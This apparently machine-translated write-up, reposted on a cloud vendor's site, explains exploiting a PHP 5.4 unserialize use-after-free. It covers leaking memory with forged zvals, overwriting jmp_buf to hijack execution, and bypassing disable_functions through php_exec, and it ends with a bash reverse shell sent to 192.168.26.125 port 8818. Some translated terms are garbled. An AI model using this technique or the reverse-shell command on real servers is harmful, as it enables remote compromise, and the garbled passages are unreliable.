Php memory corruption vulnerability exp write and disable function bypass

Source: Internet
Author: User
Php memory destruction vulnerability exp write and disable function bypass php memory destruction vulnerability exp write and use method

First, let's take a look at some of the original author's ideas. drops has its first two parts, after reading these three articles, I am also confused in the cloud, especially in the third article. the original author may be too powerful, some of the exploitation methods he briefly mentioned I have studied for a while but I still cannot fully understand them. (however, there is no detail in the post he gave. it is a noun generation, which is really a great achievement ). I also tried to translate the third part. if you are not familiar with English, you can take a look. Part 3

Afterwards, I will use some of my methods to exploit this vulnerability. thanks to the stack writing method provided by Long Ge.

Environment Construction

The original author used php5.4.34. I also used this test. The latest version of apache is used. Ubuntu32. Php compilation is a bit difficult. it has nothing to do with the subject. if you don't have to worry about it, just drop a script for my configuration ....

apt-get install gcc g++ make vim libxml2-dev apache2 apache2-devwget http://jp2.php.net/get/php-5.4.34.tar.gz/from/this/mirrortar -xzf mirrorcd php-5.4.34/./configure --with-apxs2=/usr/bin/apxs2make && make installcp php.ini-production /usr/local/lib/php.ini vi /etc/apache2/apache2.confAddType application/x-httpd-php .php .htm .htmla2dismod mpm_eventa2enmod mpm_preforkservice apache2 restart

Note that my apache uses php to generate the libphp5.so lib library during php compilation. find the address of this library in apache configuration, for example, if I use/usr/lib/apache2/modules/libphp5.so, the offset in the library is definitely different from the offset in the executable file of your php. read this during readelf.

We recommend that you run apache in a single thread during gdb debugging. run/etc/apache2/envvars first, and then gdb apache2 and r-X to debug apache.

Vulnerability principle

For the basic principles of this vulnerability, refer to the first part of the original blog. In brief, if two identical key values, that is, the same variable name, appear in the same life domain in the serialized string, during deserialization, later, we will overwrite the previous one, and the previously applied memory space of the variable will be free. at this time, we can serialize a pointer to the hash table, at this time, the item in the hash table still points to the variable memory that has just been released, so that uaf occurs.

The serialized data structure is as follows:

  • A-array 4
  • B-Boolean 3
  • D-double 2
  • I-integer 1
  • O-common object
  • R-reference 7
  • S-non-escaped binary string
  • S-escaped binary string 6
  • C-custom object
  • O-class 5
  • N-null 0
  • R-pointer reference
  • U-unicode string

If we want to leak any memory, we only need to construct a php variable data structure zval (internal data structure used by PHP), and then let it point to the memory we need to read.

struct _zval_struct {/* Variable information */zvalue_value value;/* value */zend_uint refcount__gc;zend_uchar type;/* active type */zend_uchar is_ref__gc;};typedef union _zvalue_value {long lval;/* long value */double dval;/* double value */struct {char *val;int len;} str;HashTable *ht;       /* hash table value */zend_object_value obj;} zvalue_value;

Based on the original "use pack () to forge a string ZVAL structure" in part1, as shown below:

  • Type (unsigned int is used in this example)
  • Address (the address we want to leak)
  • Length (we want to leak the memory length)
  • Reference mark (0)
  • Data type (6, representing the String type)

     

In this way, as long as a false zval is applied immediately after the memory is released, the memory can be used again and any address can be read.

Key function leakage address

The first step is to determine the size of the end, followed by the leakage of the address of an object handle, which has been described in the original part2 section and will not be repeated. Now we have an object handle address. what should we do next? we need to find the base address of the php library. This is simple. you only need to find the smallest handle address and search for it until the elf header \ x7fELF is found. This address is the base address.

After finding the base address, you can find the dynamic section, string table, and symbol table based on the elf file structure (view the programmer's self-cultivation. In this case, you can search for the function name in the string table and use this offset to find the function address in the symbol table. Remember to add the base address when using it.

The third part of the original is as follows:

  • Zend_eval_string
  • Executor_globals
  • JMP_BUF

Zend_eval_string is used to control the eip and let it jump to this address for execution, so that any php code can be executed. Executor_globals is used to find the jmp_buf in its structure. the variable name is mongolout. The third part tells about this and I will not release the original figure. The most painful thing is that this jmp_buf is the key to our use. the inverse function is as follows:

Mov 0x4 (% esp), % eax // eax = jmp_bufmov % ebx, (% eax) // 1st registers ebxmov % esi, 0x4 (% eax) // 2nd registers esimov % edi, 0x8 (% eax) // 3rd registers edilea 0x4 (% esp), % ecxxor % gs: 0x18, % ecxrol $0x9, % ecxmov % ecx, 0x10 (% eax) // 5th registers espmov (% esp), % ecxxor % gs: 0x18, % ecxrol $0x9, % ecxmov % ecx, 0x14 (% eax) // 6th registers eipmov % ebp, 0xc (% eax) // 4th registers ebp

Therefore, the registers in jmp_buf are arranged as follows: ebx, esi, edi, ebp, esp, eip, return_addr

We only need to control the eip, but if the values of other parts are incorrect, we should either execute the crash or directly crash, so we still need to restore them. The original author has explained in part3 that there is a PTR_MANGLE macro in glibc for obfuscation. if we want to restore eip and esp, we need to first find the return address of set_jmp. Find the function address php_execute_script. For details about how to crack jmp_buf, refer to the final video section of part3, where the original content is explained.

After cracking jmp_buf, we can control the eip and let him jump to the eval function to execute any php code. this method is very stable and won't let apache crash.

Stack write memory

This part of the original provides a method for writing memory directly in part3. However, it is a bit esoteric and he did not explain it carefully. Here I provide a method for writing stacks that is quite cool.

First, let's take a look at the memory cache block in php. after the cache block is free, it returns to the chain. when a new variable applies for memory, if the size of the block is sufficient, the released block is immediately taken from the idle chain for use. Therefore, we only need to free up a piece of memory first, then construct zval to point it to a cache block, then free off the pointer, and then immediately deserialize a new variable, then the value of the variable is written to the released cache block. This is a stable stack writing method. The memory structure of the cache block is as follows: XX 00 00 00 (0x10 <= XX <= 0x88) XX above is the 8-byte header, the first byte indicates the size of the cache block in the header. The header is followed by memory content, which can be arbitrary.

In this case, we only need to search for the memory in front of the jmp_buf address, find such a header, and use it as a cache block. for example, we can search for the memory above 0 x as follows:

It is best to find some headers that are not far away from each other, preferably smaller than 600. in principle, most of them can be used, but the smaller the size, the better. It is hard to cover only once, because most headers are more than 0x80 from the cache block, but we can use them continuously. when we use the first cache block, we will rewrite the eight bytes at the end of the block to the cache block header, for example, \ x88 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00. in this case, next time, we can rewrite the memory from the header we have rewritten and write data in bytes 0x80. if we still haven't reached the jmp_buf address, we also construct the tail as the cache block header, so that it is constructed and overwritten until jmp_buf is rewritten as the layout we need. This completes the use.

Notes

First, in payload, 0x5c cannot appear, that is, ''. this is a bit strange. if 0x5c occurs, the reverse sequence will fail. I guess it is a problem with escape characters, however, neither 2 0x5c nor 4 0x5c can be deserialized normally, which may be related to python escape, because php deserialization has the length of a field. In theory, it appears ", ', \ will not be truncated, so when an inexplicable reverse sequence fails, most of them will be this problem.

Second, pay attention to a variable named old_cwd, which is located in the first 136 bytes of the JMP_BUF address. if the address filled with the address \ 00, an exception is thrown, apache crash, and the variable is a pointer, which is addressed here when load_jmp is executed. Therefore, the variable must be a valid address, therefore, we need to fill in the jmpbuf address in the first 136 bytes of JMP_BUF.

Further exploitation

We just hijacked the eip to the zend_eval_string entry address, so that we can execute any php code and it is relatively stable and will not cause crash. However, this has limitations. for example, I disabled the following functions in php. ini:

  • System
  • Exec
  • Passthru
  • Escapeshellcmd
  • Pcntl_exec
  • Shell_exec
  • Fsockopen
  • Pfsockopen
  • Dl
  • Popen
  • Proc_open
  • Php_uname
  • Phpinfo
  • Disk_free_space
  • Disk_total_space

Because eval is also controlled by the configuration file, the following error will be returned when payload is executed:

In this way, it is actually very easy to bypass. after all, we are controlling the binary program flow and can do anything to play with it. The method I first came up with was to construct a drop-down chain and directly execute shellcode. I used ROPgadgot and searched libphp5.so directly with level = 5 to construct a drop-down chain, however, this exploitation method is very painful because the drop-down chain is very long. if we use the stack-writing method we just used, we can write up to 120 bytes at a time, so it is very difficult. Finally, I forcibly adjusted the drop-down chain to add several segments of filling characters to it, and split the payload with these filling characters, so that multiple writes will fail at the end of the exploit operation, I don't know which offset is correct. if payload is used for a dozen times, apache in gdb does not even report an error and exits directly.

Then I thought that I could directly call the underlying functions executed by system commands in php. Go through the php source code and find the prototype of the function executed by the command, as shown below:

/* php_exec * If type==0, only last line of output is returned (exec) * If type==1, all lines will be printed and last lined returned (system) * If type==2, all lines will be saved to given array (exec with &$array) * If type==3, output will be printed binary, no lines will be saved or returned (passthru) * */PHPAPI int php_exec(int type, char *cmd, zval *array, zval *return_value){FILE *fp;char *buf;size_t l = 0;int pclose_return;char *b, *d=NULL;php_stream *stream;size_t buflen, bufl = 0;#if PHP_SIGCHILDvoid (*sig_handler)() = NULL;#endif#if PHP_SIGCHILDsig_handler = signal (SIGCHLD, SIG_DFL);#endif#ifdef PHP_WIN32fp = VCWD_POPEN(cmd, "rb");#elsefp = VCWD_POPEN(cmd, "r");#endifif (!fp) {php_error_docref(NULL, E_WARNING, "Unable to fork [%s]", cmd);goto err;}stream = php_stream_fopen_from_pipe(fp, "rb");buf = (char *) emalloc(EXEC_INPUT_BUF);buflen = EXEC_INPUT_BUF;if (type != 3) {b = buf;while (php_stream_get_line(stream, b, EXEC_INPUT_BUF, &bufl)) {/* no new line found, let's read some more */if (b[bufl - 1] != '\n' && !php_stream_eof(stream)) {if (buflen < (bufl + (b - buf) + EXEC_INPUT_BUF)) {bufl += b - buf;buflen = bufl + EXEC_INPUT_BUF;buf = erealloc(buf, buflen);b = buf + bufl;} else {b += bufl;}continue;} else if (b != buf) {bufl += b - buf;}if (type == 1) {PHPWRITE(buf, bufl);if (php_output_get_level() < 1) {sapi_flush();}} else if (type == 2) {/* strip trailing whitespaces */l = bufl;while (l-- > 0 && isspace(((unsigned char *)buf)[l]));if (l != (bufl - 1)) {bufl = l + 1;buf[bufl] = '\0';}add_next_index_stringl(array, buf, bufl);}b = buf;}if (bufl) {/* strip trailing whitespaces if we have not done so already */if ((type == 2 && buf != b) || type != 2) {l = bufl;while (l-- > 0 && isspace(((unsigned char *)buf)[l]));if (l != (bufl - 1)) {bufl = l + 1;buf[bufl] = '\0';}if (type == 2) {add_next_index_stringl(array, buf, bufl);}}/* Return last line from the shell command */RETVAL_STRINGL(buf, bufl);} else { /* should return NULL, but for BC we return "" */RETVAL_EMPTY_STRING();}} else {while((bufl = php_stream_read(stream, buf, EXEC_INPUT_BUF)) > 0) {PHPWRITE(buf, bufl);}}pclose_return = php_stream_close(stream);efree(buf);done:#if PHP_SIGCHILDif (sig_handler) {signal(SIGCHLD, sig_handler);}#endifif (d) {efree(d);}return pclose_return;err:pclose_return = -1;goto done;}

Four parameters, the first two are easy to handle, and the latter two do not want to go into the details, directly look at the source code, we found that the latter two parameters will be used only when type = 2, then directly use type = 0, use exec.

Stack construction:

  • Exec_type \ x00 \ x00 \ x00 \ x00
  • Php_code_addr jmp_buf address + 44
  • Exec_type
  • Exec_type
  • Php_code bash-c 'bash-I> &/dev/tcp/192.168.26.125/8818 0> & 1' \ x00

Exploit! As follows:

Shell rebounded successfully.

In fact, there are still some problems later, because after I exit shell, php continues to execute, and apache crash is lost .... Gdb status during crash

I didn't continue to look at it, but it was almost the same.

Postscript

If you have a better idea or have a deeper understanding of the original use method, please feel free to discuss with me :-)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.